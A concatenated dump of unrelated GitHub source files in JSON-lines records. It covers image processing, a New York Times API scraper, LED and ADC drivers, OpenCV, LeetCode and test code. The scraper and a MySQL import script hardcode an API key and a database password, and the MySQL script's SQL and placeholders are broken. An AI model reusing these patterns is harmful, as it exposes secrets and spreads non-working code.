min(distance_list, key=lambda tup: tup[0])[1] # 如果沒寫key=lambda,如果distance一樣的話,會開始比pixel,就不是我們要的了\n\n\n\n # rgb_avg = get_average(pixels)\n # red = rgb_avg[0]\n # green = rgb_avg[1]\n # blue = rgb_avg[2]\n # min_distance = float('inf')\n # best = \"\" # just prevent reference before assignment\n #\n # for pixel in pixels:\n # distance = get_pixel_dist(pixel, red, green, blue)\n # if min_distance > distance:\n # min_distance = distance\n # best = pixel # pixel reassign as the pixel which distance is minimum\n # return best\n\n\ndef solve(images):\n \"\"\"\n Given a list of image objects, compute and display a Ghost solution image\n based on these images. There will be at least 3 images and they will all\n be the same size.\n\n Input:\n images (List[SimpleImage]): list of images to be processed\n \"\"\"\n width = images[0].width\n height = images[0].height\n result = SimpleImage.blank(width, height)\n \n # ----- YOUR CODE STARTS HERE ----- #\n # Write code to populate image and create the 'ghost' effect\n '''\n find pixels go through pictures at the same coordinate \n and add it into pixel_list until all pictures are visited\n e.g. There are 3 pictures in hoover fold. Find pixels in img1 at (0,0) first and go through img2, img3.\n Finally, pixel_list will store 3 pictures' pixels at (0,0). Then use function get_best_pixel() to get \n optimal pixel and fill it into result. Next round, program will find pixels in img1 at (0,1) first then \n go through img2, img3...\n '''\n for x in range(images[0].width):\n for y in range(images[0].height):\n pixel_list = []\n for img in images:\n pixel_of_one_img = img.get_pixel(x, y) # pixel_of_one_img in first round will be pixels at img1 (0,0)\n pixel_list.append(pixel_of_one_img) # pixel_list will store all pictures' pixel at same coordinate\n if len(pixel_list) == len(images):\n best_pixel = get_best_pixel(pixel_list)\n result.set_pixel(x, y, best_pixel)\n\n # Milestone 4 test\n # green_pixel = SimpleImage.blank(20, 20, 'green').get_pixel(0, 0)\n # red_pixel = SimpleImage.blank(20, 20, 'red').get_pixel(0, 0)\n # blue_pixel = SimpleImage.blank(20, 20, 'blue').get_pixel(0, 0)\n # best1 = get_best_pixel([green_pixel, blue_pixel, blue_pixel])\n # print(best1.red, best1.green, best1.blue)\n\n # ----- YOUR CODE ENDS HERE ----- #\n print(\"Displaying image!\")\n result.show()\n\n\ndef jpgs_in_dir(dir):\n \"\"\"\n (provided, DO NOT MODIFY)\n Given the name of a directory, returns a list of the .jpg filenames\n within it.\n\n Input:\n dir (string): name of directory\n Returns:\n filenames(List[string]): names of jpg files in directory\n \"\"\"\n filenames = []\n for filename in os.listdir(dir): # os.listdir() 用一個list告訴我桌面有哪些檔案\n if filename.endswith('.jpg'):\n filenames.append(os.path.join(dir, filename)) # os.path.join 是在dir和filename之間加一個'/',讓他變成一個路徑\n return filenames\n\n\ndef load_images(dir):\n \"\"\"\n (provided, DO NOT MODIFY)\n Given a directory name, reads all the .jpg files within it into memory and\n returns them in a list. Prints the filenames out as it goes.\n\n Input:\n dir (string): name of directory\n Returns:\n images (List[SimpleImages]): list of images in directory\n \"\"\"\n images = []\n jpgs = jpgs_in_dir(dir)\n for filename in jpgs:\n print(\"Loading\", filename)\n image = SimpleImage(filename)\n images.append(image)\n return images\n\n\ndef main():\n # (provided, DO NOT MODIFY)\n args = sys.argv[1:]\n # We just take 1 argument, the folder containing all the images.\n # The load_images() capability is provided above.\n images = load_images(args[0])\n solve(images)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ZhiYong0881108/stanCode-Projects","sub_path":"Python Projects/Photoshop/stanCodoshop.py","file_name":"stanCodoshop.py","file_ext":"py","file_size_in_byte":6645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72032850454","text":"import requests\nimport csv\nimport time\n\n\ndef search(base_url, api_key, query, year, month_ranges):\n ll = []\n # search articles within a time range to avoid getting too many results at a time\n for begin_date, end_date in month_ranges:\n # set initial parameters and get initial response\n parameters = {\"api-key\": api_key,\n \"q\": query,\n \"begin_date\": year+begin_date,\n \"end_date\": year+end_date,\n \"page\": 0}\n response = requests.get(base_url, parameters)\n time.sleep(2)\n # get number of pages\n resp_json = response.json()\n hits = int(resp_json[\"response\"][\"meta\"][\"hits\"])\n if hits > 1000:\n raise Exception(\"Over 1000 pages returned, adjust date range.\\n\"\n \"Query: {} Date range: {}{} - {}{}\".format(query, year, begin_date, year, end_date))\n n_pages = round(hits/10) + 1\n # process response\n ll.extend(process_response(query, resp_json))\n for i_page in range(1, n_pages + 1):\n # get next page and process\n parameters[\"page\"] = i_page\n response = requests.get(base_url, parameters)\n time.sleep(2)\n ll.extend(process_response(query, response.json()))\n return ll\n\n\n# extract article date, titles, summary\n# returns a list [\"search query\", \"article date\", \"article title\", \"article summary\"]\ndef process_response(query, resp_json):\n ll = []\n docs = resp_json[\"response\"][\"docs\"]\n for d in docs:\n date = d[\"pub_date\"]\n title = d[\"headline\"][\"main\"]\n summary = d[\"snippet\"]\n ll.append([query, date, title, summary])\n return ll\n\n\n# search articles from nytimes with specific query\ndef search_articles():\n base_url = \"https://api.nytimes.com/svc/search/v2/articlesearch.json\"\n api_key = \"e7bbf035e3694a01894a2b523c4c589e\"\n # hurricanes to search\n queries = [\"hurricane irma\", \"hurricane harvey\", \"hurricane maria\", \"hurricane irene\"]\n # date ranges to search articles within by months\n # hurricane irene happened in 2011, all others happened in 2018\n # but they all happened during the second half the years\n month_ranges = [(\"0601\", \"0630\"), (\"0701\", \"0731\"), (\"0801\", \"0831\"), (\"0901\", \"0930\"),\n (\"1001\", \"1031\"), (\"1101\", \"1130\"), (\"1201\", \"1231\")]\n # the header\n all_articles = [[\"search query\", \"article date\", \"article title\", \"article summary\"]]\n # search for hurricanes irma\n all_articles.extend(search(base_url, api_key, queries[0], \"2017\", month_ranges))\n # search for hurricanes harvey\n all_articles.extend(search(base_url, api_key, queries[1], \"2017\", month_ranges))\n # search for hurricanes maria\n all_articles.extend(search(base_url, api_key, queries[2], \"2017\", month_ranges))\n # search for hurricanes irene\n all_articles.extend(search(base_url, api_key, queries[3], \"2011\", month_ranges))\n # save to csv\n with open(\"../basic_analysis/nytimes_data.csv\", 'w') as file_save:\n writer = csv.writer(file_save, delimiter=',')\n writer.writerows(all_articles)\n\n\nif __name__ == \"__main__\":\n search_articles()\n # base_url = \"https://api.nytimes.com/svc/search/v2/articlesearch.json\"\n # api_key = \"e7bbf035e3694a01894a2b523c4c589e\"\n # # search\n # queries = [\"healthcare\"]\n # response = search(base_url, api_key, \"healthcare\")\n # with open(\"response.json\", 'w') as file:\n # file.writelines(json.dumps(response.json(), indent=4))\n # docs = extract_docs(response)\n # articles = [extract_headline_and_snippet(d) for d in docs]\n # with open(\"articles.txt\", 'w') as file:\n # file.writelines([\"{0}\\n{1}\\n\\n\".format(atcl[0], atcl[1]) for atcl in articles])\n # # get full articles based on search result\n\n","repo_name":"fzEro555/Intro-to-Data-Analytics-Projects","sub_path":"nytimes/search_api.py","file_name":"search_api.py","file_ext":"py","file_size_in_byte":3843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71592058452","text":"import time\nimport math\nfrom olaplugin.osc.controls import Control \nfrom olaplugin.config import config\n\nMIN_STROBE_INTERVAL = .1\n\nclass NoneChannel:\n def __init__(self, *controls):\n self.controls = controls\n self.first_control = controls[0] if controls else None\n pass\n\n def set_units(self, data, units):\n pass\n\n def get_first_control(self):\n return self.first_control\n\nclass Artnet(NoneChannel):\n def __init__(self, units_count: int):\n super().__init__()\n self.units_count = units_count\n self.values = [0]*units_count\n \n def set_data(self, data):\n self.values = data\n\n def set_units(self, data, units):\n for unit in units:\n data[unit] = self.values[unit]\n\nclass Sound(NoneChannel):\n def __init__(self, units_count: int):\n super().__init__()\n self.units_count = units_count\n self.values = [0]*units_count\n \n def set_data(self, data):\n self.values = data\n\n def set_units(self, data, units):\n for unit in units:\n data[unit] = self.values[unit]\n\nclass Light(NoneChannel):\n def __init__(self, units_count: int, brightness=Control):\n super().__init__(brightness)\n self.units_count = units_count\n self.brightness = brightness\n \n def set_units(self, data, units):\n value = self.brightness.get_value()\n for unit in units:\n data[unit] = int(value*255)\n\n def get_first_control(self):\n return None\n\nclass Strobo(NoneChannel):\n def __init__(self, units_count: int, brightness=Control, speed=Control):\n super().__init__(speed, brightness)\n self.units_count = units_count\n self.brightness = brightness\n self.speed = speed\n self.state = 1\n\n def half_interval_since_last_tap(self):\n return math.floor((time.time() - self.speed.last_tap)*2 / (self.speed.interval+MIN_STROBE_INTERVAL))\n\n def set_units(self, data, units):\n self.state = (self.half_interval_since_last_tap()+1)%2\n\n value = self.brightness.get_value() if self.brightness else 1\n for unit in units:\n data[unit] = int(self.state*value*255)\n\nclass Strips(NoneChannel):\n def __init__(self, units_count: int, brightness=None, speed=None, scale=None, width=None):\n super().__init__(width, speed, scale, brightness)\n self.units_count = units_count\n self.brightness = brightness\n self.speed = speed\n self.scale = scale\n self.width = width\n self.time = 0\n \n def set_units(self, data, units):\n value = self.brightness.get_value() if self.brightness else 1\n interval = config['leds']['update_interval']\n self.time += interval/20 + self.speed.value*interval/2\n scale = self.scale.value/5\n for unit in units:\n if math.modf(self.time + unit*scale)[0] > (self.width.value*.85 + .05):\n data[unit] = int(255*value)\n else:\n data[unit] = 0\n\nclass LFO(NoneChannel):\n def __init__(self, units_count: int, brightness=None, speed=None, scale=None, waveform=None):\n super().__init__(speed, scale, waveform, brightness)\n self.units_count = units_count\n self.brightness = brightness\n self.speed = speed\n self.scale = scale\n self.waveform = waveform\n self.time = 0\n \n def set_units(self, data, units):\n value = self.brightness.get_value() if self.brightness else 1\n interval = config['leds']['update_interval']\n self.time += (self.speed.value-.49)*interval*15\n scale = self.scale.value / 2\n if self.waveform.state == 0:\n for unit in units:\n data[unit] = int((math.sin((self.time + unit*scale)*math.pi)*126 + 127)*value)\n else:\n for unit in units:\n data[unit] = int((((self.time + unit*scale)*126 + 127)%255)*value)\n","repo_name":"fortl/theobject","sub_path":"gate/olaplugin/channels.py","file_name":"channels.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"31307211739","text":"import json\r\nimport mysql.connector\r\n\r\nmydb = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"Tam\",\r\n password=\"U.]C_rAAxLq_f5AZ\"\r\n)\r\n\r\ncursor = mydb.cursor()\r\n\r\ndb_create = \"CREATE DATABASE IF NOT EXISTS python_novice\"\r\ndb_select = \"USE python_novice\"\r\ntbl_create = \"CREATE TABLE IF NOT EXISTS users, name VARCHAR(255), gender VARCHAR(255), age INT(10), fav_color VARCHAR(255)\"\r\ntbl_insert = \"INSERT INTO users (name, gender, age, fav_color) VALUES(%5, %5, %5, %5)\"\r\n\r\ncursor.execute(db_create)\r\ncursor.execute(db_select)\r\ncursor.execute(tbl_create)\r\n\r\nwith open(\"gebruikers.json\") as json_file:\r\n gebruikers = json.load(json_file)\r\n\r\n for item in gebruikers:\r\n name = item[\"name\"]\r\n gender = item[\"gender\"]\r\n age = item[\"age\"]\r\n fav_color = item[\"fav_color\"]\r\n\r\ncursor.execute(tbl_insert.format(name,gender, age, fav_color))\r\n","repo_name":"TammyPhysique/Data-Engineer","sub_path":"overzetten.py","file_name":"overzetten.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37393414839","text":"import time\nimport struct\nimport array\nfrom micropython import const\nfrom robotling_lib.misc.helpers import timed_function\nimport robotling_lib.misc.ansi_color as ansi\n\n# pylint: disable=bad-whitespace\n_ADS1X15_DEFAULT_ADDRESS = const(0x48)\n_ADS1X15_POINTER_CONVERSION = const(0x00)\n_ADS1X15_POINTER_CONFIG = const(0x01)\n_ADS1X15_CONFIG_OS_SINGLE = const(0x8000)\n_ADS1X15_CONFIG_MUX_OFFSET = const(12)\n_ADS1X15_CONFIG_COMP_QUE_DISABLE = const(0x0003)\n_ADS1X15_CONFIG_GAIN = {\n 2 / 3: 0x0000,\n 1: 0x0200,\n 2: 0x0400,\n 4: 0x0600,\n 8: 0x0800,\n 16: 0x0A00,\n }\n# pylint: enable=bad-whitespace\n\n# ----------------------------------------------------------------------------\nclass Mode:\n \"\"\"An enum-like class representing possible ADC operating modes.\"\"\"\n # See datasheet \"Operating Modes\" section\n # values here are masks for setting MODE bit in Config Register\n # pylint: disable=too-few-public-methods\n CONTINUOUS = 0x0000\n SINGLE = 0x0100\n\n# ----------------------------------------------------------------------------\nclass ADS1x15:\n \"\"\"Base functionality for ADS1x15 analog to digital converters.\"\"\"\n\n def __init__(self, i2c, gain=1, data_rate=None, mode=Mode.SINGLE,\n address=_ADS1X15_DEFAULT_ADDRESS, ):\n \"\"\" Requires already initialized I2C bus instance\n \"\"\"\n self.i2c_device = i2c\n self._i2c_addr = address\n self._last_pin_read = None\n self._data_rate = None\n self._gain = None\n self._mode = None\n self._channelMask = 0x00\n info = self._chip_info()\n self._chan_count = info[3]\n self._shift_fact = info[2]\n self._is_diff = False\n self._data = array.array('i', [0]*self._chan_count)\n self.gain = gain\n self.mode = mode\n self.data_rate = data_rate if data_rate else self._data_rate_default()\n print(ansi.GREEN +\"[{0:>12}] {1:35} ({2}): ok\"\n .format(info[0], \"4-channel A/D\", info[1]) +ansi.BLACK)\n\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n @property\n def data_rate(self):\n \"\"\" The data rate for ADC conversion in samples per second\n \"\"\"\n return self._data_rate\n\n @data_rate.setter\n def data_rate(self, rate):\n possible_rates = self.rates\n if rate not in possible_rates:\n raise ValueError(\"Invalid rate.\")\n self._data_rate = rate\n\n @property\n def rates(self):\n \"\"\" Possible data rate settings\n \"\"\"\n raise NotImplementedError(\"Must be implemented by subclass.\")\n\n @property\n def rate_config(self):\n \"\"\" Rate configuration masks\n \"\"\"\n raise NotImplementedError(\"Must be implemented by subclass.\")\n\n @property\n def gain(self):\n \"\"\" ADC gain\n \"\"\"\n return self._gain\n\n @gain.setter\n def gain(self, gain):\n possible_gains = self.gains\n if gain not in possible_gains:\n raise ValueError(\"Invalid gain.\")\n self._gain = gain\n\n @property\n def gains(self):\n \"\"\" Possible gain settings\n \"\"\"\n g = list(_ADS1X15_CONFIG_GAIN.keys())\n g.sort()\n return g\n\n @property\n def mode(self):\n \"\"\" ADC conversion mode\n \"\"\"\n return self._mode\n\n @mode.setter\n def mode(self, mode):\n if mode not in (Mode.CONTINUOUS, Mode.SINGLE):\n raise ValueError(\"Unsupported mode.\")\n self._mode = mode\n\n @property\n def is_differential(self):\n \"\"\" Differential or single-ended\n \"\"\"\n return self._is_diff\n\n @is_differential.setter\n def is_differential(self, is_diff):\n self._is_diff = is_diff\n\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n def read_adc(self, chan):\n \"\"\" Returns A/D value of channel `chan`\n \"\"\"\n chan = chan if self._is_diff else chan +0x04\n return self._read(chan)\n\n @timed_function\n def update_timed(self):\n self.update()\n\n @micropython.native\n def update(self, is_differential=False):\n \"\"\" Updates the A/D data for the channels indicated by the property\n `channelMask`. The data can then be accessed as an array via the\n property \"data\".\n \"\"\"\n mk = self._channelMask\n if mk > 0:\n rg = range(self._chan_count)\n da = self._data\n df = self._is_diff\n for i in rg:\n if mk & (0x01 << i):\n chan = i if df else i +0x04\n da[i] = self._read(chan)\n\n @property\n def data(self):\n \"\"\" Array with A/D data\n \"\"\"\n return self._data\n\n @property\n def channel_count(self):\n return self._chan_count\n\n @property\n def max_value(self):\n return 2**self.bits\n\n @property\n def channel_mask(self):\n return self._channelMask\n\n @channel_mask.setter\n def channel_mask(self, value):\n value &= 0x0f\n self._channelMask = value\n\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n def _data_rate_default(self):\n \"\"\" Retrieve the default data rate for this ADC (in samples per second).\n \"\"\"\n raise NotImplementedError(\"Must be implemented by subclass.\")\n\n @micropython.native\n def _read(self, pin):\n \"\"\" Perform an ADC read. Returns the signed integer result of the read.\n \"\"\"\n # Immediately return conversion register result if in CONTINUOUS mode\n # and pin has not changed\n if self.mode == Mode.CONTINUOUS and self._last_pin_read == pin:\n raw_adc = self._read_register(_ADS1X15_POINTER_CONVERSION, True)\n raw_adc = raw_adc.to_bytes(2, \"big\")\n return struct.unpack(\">h\", raw_adc)[0] >> self._shift_fact\n\n # Assign last pin read if in SINGLE mode or first sample in CONTINUOUS\n # mode on this pin\n self._last_pin_read = pin\n\n # Configure ADC every time before a conversion in SINGLE mode\n # or changing channels in CONTINUOUS mode\n config = _ADS1X15_CONFIG_OS_SINGLE if self.mode == Mode.SINGLE else 0\n config |= (pin & 0x07) << _ADS1X15_CONFIG_MUX_OFFSET\n config |= _ADS1X15_CONFIG_GAIN[self.gain]\n config |= self.mode\n config |= self.rate_config[self.data_rate]\n config |= _ADS1X15_CONFIG_COMP_QUE_DISABLE\n self._write_register(_ADS1X15_POINTER_CONFIG, config)\n\n # Wait for conversion to complete\n # ADS1x1x devices settle within a single conversion cycle\n if self.mode == Mode.SINGLE:\n # Continuously poll conversion complete status bit\n #while not self._conversion_complete():\n while not self._read_register(_ADS1X15_POINTER_CONFIG) & 0x8000:\n pass\n else:\n # Can't poll registers in CONTINUOUS mode\n # Wait expected time for two conversions to complete\n time.sleep(2 /self.data_rate)\n\n raw_adc = self._read_register(_ADS1X15_POINTER_CONVERSION, False)\n raw_adc = raw_adc.to_bytes(2, \"big\")\n return struct.unpack(\">h\", raw_adc)[0] >> self._shift_fact\n\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n def _write_register(self, reg, value):\n \"\"\" Write 16 bit value to register.\n \"\"\"\n _buf = bytearray([reg, (value >> 8) & 0xFF, value & 0xFF])\n with self.i2c_device as i2c:\n i2c.writeto(self._i2c_addr, _buf)\n\n def _read_register(self, reg, fast=False):\n \"\"\" Read 16 bit register value. If fast is True, the pointer register\n is not updated.\n \"\"\"\n _buf = bytearray(3)\n _reg = bytearray([reg])\n with self.i2c_device as i2c:\n if fast:\n i2c.readfrom_into(self._i2c_addr, _buf)\n else:\n i2c.write_then_readinto(self._i2c_addr, _reg, _buf, in_end=2)\n return _buf[0] << 8 | _buf[1]\n\n# ----------------------------------------------------------------------------\n","repo_name":"teuler/robotling_lib","sub_path":"driver/ads1x15.py","file_name":"ads1x15.py","file_ext":"py","file_size_in_byte":7437,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"38875077598","text":"from PIL import Image\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\n# first we have to capture our background color\r\ncap = cv2.VideoCapture(0) \r\nwhile(cap.isOpened()):\r\n test1,img1 = cap.read()\r\n if(test1):\r\n cv2.imshow('capture',img1)\r\n if(cv2.waitKey(5)==ord('q')):\r\n cv2.imwrite('cap.jpg',img1)\r\n break\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n# captured image will be saved in current directory\r\n\r\n\r\n#Time for magic\r\ncap1 = cv2.VideoCapture(0)\r\nsrc = cv2.imread(\"cap.jpg\")\r\nwhile(cap1.isOpened()):\r\n test2,img2 = cap1.read()\r\n if(test2):\r\n #converting capturing rbg/bgr to hue \r\n hsv = cv2.cvtColor(img2, cv2.COLOR_BGR2HSV)\r\n # I got a red cloth so, using red hue range values \r\n l_hue = np.array([0,100,100])\r\n h_hue = np.array([10, 255, 255])\r\n #now masking red color \r\n mask = cv2.inRange(hsv,l_hue,h_hue)\r\n kernel_size = 10\r\n kernel = np.ones((kernel_size, kernel_size), np.uint8)\r\n opening = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\r\n closing = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel)\r\n #morphology is something used to get the output more clear. you will get it once you go through offical doc at opencv.\r\n p1 = cv2.bitwise_and(src,src,mask=mask)\r\n #first get the background that to be shown when cloak is placed\r\n mask= cv2.bitwise_not(mask)\r\n p2 = cv2.bitwise_and(img2,img2,mask=mask)\r\n #now remove red color from picture frame\r\n \r\n cv2.imshow(\"win\",p1+p2)\r\n #combine and show the cloak's magic...\r\n if cv2.waitKey(5) == ord('q'):# press 'q' to stop .\r\n break\r\n\r\ncap1.release()\r\ncv2.destroyAllWindows()\r\n ","repo_name":"Amantej/ML-Bootcamp","sub_path":"Invisible cloak/cloak1.py","file_name":"cloak1.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70633516714","text":"import arrow\n\nfrom canvas_workflow_kit import builtin_cqms\nfrom canvas_workflow_kit.builtin_cqms.cms122v6_diabetes_hemoglobin_a1c_poor_control import (\n ClinicalQualityMeasure122v6\n)\nfrom canvas_workflow_kit.builtin_cqms.cms123v6_diabetes_foot_exam import ClinicalQualityMeasure123v6\nfrom canvas_workflow_kit.builtin_cqms.cms131v6_diabetes_eye_exam import ClinicalQualityMeasure131v6\nfrom canvas_workflow_kit.builtin_cqms.cms134v6_diabetes_medical_attention_for_nephropathy import (\n ClinicalQualityMeasure134v6\n)\nfrom canvas_workflow_kit.protocol import get_protocols # , STATUS_NOT_APPLICABLE\nfrom canvas_workflow_kit.recommendation import (\n InterviewRecommendation,\n LabRecommendation,\n PerformRecommendation,\n ReferRecommendation\n)\nfrom canvas_workflow_kit.timeframe import Timeframe\n\nfrom .base import SDKBaseTest\n\n# from protocols.value_set import v2018\n\n\nclass SDKProtocolTest(SDKBaseTest):\n\n def setUp(self):\n super().setUp()\n self.protocols = get_protocols(builtin_cqms)\n\n def test_cms122v6(self):\n now = arrow.get('2018-08-23 13:24:56')\n # diabetic1 hasn't had a hab1c test, should tell him to get one\n patient = self.load_patient('diabetic1')\n protocol = ClinicalQualityMeasure122v6(now=now, patient=patient)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 1)\n self.assertTrue(isinstance(recs[0], LabRecommendation))\n self.assertEqual(protocol.status(), 'due')\n self.assertIn('last hba1c test', protocol.narrative().lower())\n\n # diabetic2 has had a test but it was too long ago, same result\n patient = self.load_patient('diabetic2')\n protocol = ClinicalQualityMeasure122v6(now=now, patient=patient)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 1)\n self.assertTrue(isinstance(recs[0], LabRecommendation))\n self.assertEqual(protocol.status(), 'due')\n self.assertIn('last hba1c test', protocol.narrative().lower())\n\n # diabetic3 is doing great, good job diabetic3!\n patient = self.load_patient('diabetic3')\n protocol = ClinicalQualityMeasure122v6(now=now, patient=patient)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 0)\n self.assertEqual(protocol.status(), 'satisfied')\n self.assertIn('last hba1c', protocol.narrative().lower())\n\n # diabetic4 had a recent test but it was bad.\n patient = self.load_patient('diabetic4')\n protocol = ClinicalQualityMeasure122v6(now=now, patient=patient)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 1)\n self.assertEqual(protocol.status(), 'due')\n self.assertIn('last hba1c', protocol.narrative().lower())\n\n def test_cms123v6(self):\n # not yet screened, should get a screening\n patient = self.load_patient('diabetic1')\n now = arrow.get('2017-11-01 12:00:00')\n timeframe = Timeframe(\n start=now.replace(hour=0, minute=0), end=now.replace(hour=23, minute=59))\n protocol = ClinicalQualityMeasure123v6(patient=patient, timeframe=timeframe)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 1)\n self.assertTrue(isinstance(recs[0], InterviewRecommendation))\n # self.assertTrue(isinstance(recs[1], InterviewRecommendation))\n # self.assertTrue(isinstance(recs[2], InterviewRecommendation))\n self.assertEqual(protocol.status(), 'due')\n self.assertIn('foot', protocol.narrative().lower())\n\n # got screened, satisfied\n patient = self.load_patient('feet1')\n protocol = ClinicalQualityMeasure123v6(patient=patient, timeframe=timeframe)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 0)\n self.assertEqual(protocol.status(), 'satisfied')\n\n def test_cms134v6(self):\n # not yet tested, should get a test\n patient = self.load_patient('diabetic1')\n now = arrow.get('2017-11-01 12:00:00')\n timeframe = Timeframe(\n start=now.replace(hour=0, minute=0), end=now.replace(hour=23, minute=59))\n protocol = ClinicalQualityMeasure134v6(patient=patient, timeframe=timeframe)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 1)\n self.assertTrue(isinstance(recs[0], LabRecommendation))\n self.assertEqual(protocol.status(), 'due')\n self.assertIn('urine', protocol.narrative().lower())\n\n def test_cms131v6(self):\n # not yet tested, should get a test\n patient = self.load_patient('diabetic1')\n now = arrow.get('2017-11-01 12:00:00')\n timeframe = Timeframe(\n start=now.replace(hour=0, minute=0), end=now.replace(hour=23, minute=59))\n protocol = ClinicalQualityMeasure131v6(patient=patient, timeframe=timeframe)\n self.assertTrue(protocol.in_denominator())\n\n recs = protocol.recommendations()\n self.assertEqual(len(recs), 2)\n self.assertTrue(isinstance(recs[0], PerformRecommendation))\n self.assertTrue(isinstance(recs[1], ReferRecommendation))\n self.assertEqual(protocol.status(), 'due')\n self.assertIn('retinal', protocol.narrative().lower())\n","repo_name":"dhes/canvas-workflow-kit-0.6.8","sub_path":"canvas_workflow_kit/tests/sdk/test_protocols.py","file_name":"test_protocols.py","file_ext":"py","file_size_in_byte":5609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72450865192","text":"# -*- coding: utf-8 -*-\n\"\"\"\nGiven an array S of n integers, are there elements a, b, c in S such that a + b + c = 0?\nFind all unique triplets in the array which gives the sum of zero.\n\nNote:\nElements in a triplet (a,b,c) must be in non-descending order. (ie, a ≤ b ≤ c)\nThe solution set must not contain duplicate triplets.\n For example, given array S = {-1 0 1 2 -1 -4},\n\n A solution set is:\n (-1, 0, 1)\n (-1, -1, 2)\n\"\"\"\n# 求a+b+c=0 可以转化为a+b=-c\n\n\nclass Solution(object):\n def threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n _list = []\n nums.sort()\n\n for pos, item in enumerate(nums):\n start = pos + 1\n end = len(nums) - 1\n\n while start < end:\n if nums[start] + item + nums[end] == 0:\n if [item, nums[start], nums[end]] not in _list:\n _list.append([item, nums[start], nums[end]])\n start += 1\n end -= 1\n elif nums[start] + item + nums[end] < 0:\n start += 1\n elif nums[start] + item + nums[end] > 0:\n end -= 1\n return _list\n","repo_name":"EricQAQ/leetcode","sub_path":"python/015. 3Sum.py","file_name":"015. 3Sum.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69971037352","text":"from random import choice, randint\nfrom typing import Union, Iterable\nfrom enum import Enum\n\n# Small numbers from 1 to 10\nfrom src.problems.countdown.countdown_definition import AvailableNumbers\n\n_SMALLS = [num + 1 for num in range(10)]\n\n# Big numbers\n_BIGS = [25, 50, 75, 100]\n\n\nclass NumbersType(Enum):\n \"\"\"This enumeration is meant to be used to prepare a random set of numbers\n by predefined scheme.\n\n The defined scheme is based on 6 numbers of two types:\n - small numbers [1-10]\n - big numbers {25, 50, 75, 100}\n\n Each instance represents one common distribution of number types.\n \"\"\"\n ALL_SMALL = (6, 0)\n ONE_BIG = (5, 1)\n TWO_BIG = (4, 2)\n THREE_BIG = (3, 3)\n FOUR_BIG = (4, 2)\n\n def __init__(self, n_smalls: int, n_bigs: int):\n super().__init__()\n self.__n_smalls = n_smalls\n self.__n_bigs = n_bigs\n\n @property\n def n_smalls(self) -> int:\n \"\"\"Returns the number of small numbers\"\"\"\n return self.__n_smalls\n\n @property\n def n_bigs(self) -> int:\n \"\"\"Returns the number of big numbers\"\"\"\n return self.__n_bigs\n\n def generate(self) -> tuple[int]:\n \"\"\"Tries to generate a tuple of numbers by this scheme.\n \"\"\"\n smalls: list[int] = [choice(_SMALLS) for _ in range(self.n_smalls)]\n bigs: list[int] = [choice(_BIGS) for _ in range(self.n_bigs)]\n all_set = smalls + bigs\n return tuple(all_set)\n\n\ndef generate_countdown_board(\n goal_number: Union[int, None] = None,\n numbers_type: Union[NumbersType, None] = None,\n numbers: Union[Iterable[int], None] = None\n) -> tuple[AvailableNumbers, int]:\n \"\"\"Generates the Countdown board.\n\n :param goal_number:\n Goal number the algorithm should achieve by applying the mathematical\n operations. When None, it selects it randomly from range [100, 1000].\n\n :param numbers_type:\n Type of numbers generator. Either this parameter or the `numbers` has\n to be provided, otherwise it raises an error.\n\n :param numbers:\n An iterable of integers predefining the set of numbers to be played\n with. Either this parameter or the `numbers_type` has to be provided,\n otherwise it raises an error.\n \"\"\"\n result_numbers: tuple[int] = ()\n\n if numbers:\n result_numbers = tuple(numbers)\n elif numbers_type:\n result_numbers = numbers_type.generate()\n\n if not result_numbers:\n raise ValueError(\n f\"You have to either specify generator or numbers itself\")\n\n goal_number = goal_number if goal_number else randint(100, 1000)\n\n return AvailableNumbers(result_numbers), goal_number\n","repo_name":"vojtechpavlu/stateSpace","sub_path":"src/problems/countdown/countdown_generator.py","file_name":"countdown_generator.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28507543214","text":"from typing import Any, Union\n\nfrom PyQt6.QtCore import *\nfrom PyQt6.QtGui import *\nfrom PyQt6.QtWidgets import *\n\nfrom ..gui import QXImage\nfrom ._part_QXWidget import _part_QXWidget\n\n\nclass QXLabel(QLabel, 